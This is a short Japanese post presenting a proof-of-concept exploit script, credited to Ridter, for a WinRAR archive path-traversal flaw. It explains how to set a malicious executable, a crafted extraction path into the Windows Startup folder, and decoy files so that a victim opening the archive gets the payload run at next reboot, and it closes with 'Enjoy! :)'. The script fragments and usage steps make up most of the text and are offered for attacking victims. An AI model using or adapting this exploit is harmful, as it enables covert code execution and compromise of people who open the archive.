Winrarからコード実行を抽出する用のexp
poc（Ridter作）
使い方は？
python 3.7をインストールして、実行させたい悪意のあるファイルを用意し、任意の値を設定するだけです。このexpスクリプトが悪意のあるアーカイブファイルを自動的に生成します！
... ...
# 任意のアーカイブファイル名
rar_filename = "test.rar"
# 実行させたい悪意のあるファイル
evil_filename = "calc.exe"
# 任意の解凍パス（下記の例のようなパス）
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# 被害者がWinRARを開いたときに表示される他のファイル
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# このコマンドは環境によって異なる場合があります。Python3の環境に依存します。
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
expを実行すると、test.rarが自動的に生成されます
被害者がtest.rarを開くと、hello.txtとworld.txtというファイルが表示されます。さらに多くのファイルを追加して、より魅力的なものにすることもできます。
hi.exeという名前のファイルが1つ追加されます。実際にはこれはcalc.exeです。コンピュータを再起動すると、hi.exeが実行されます。
楽しんでください！ :)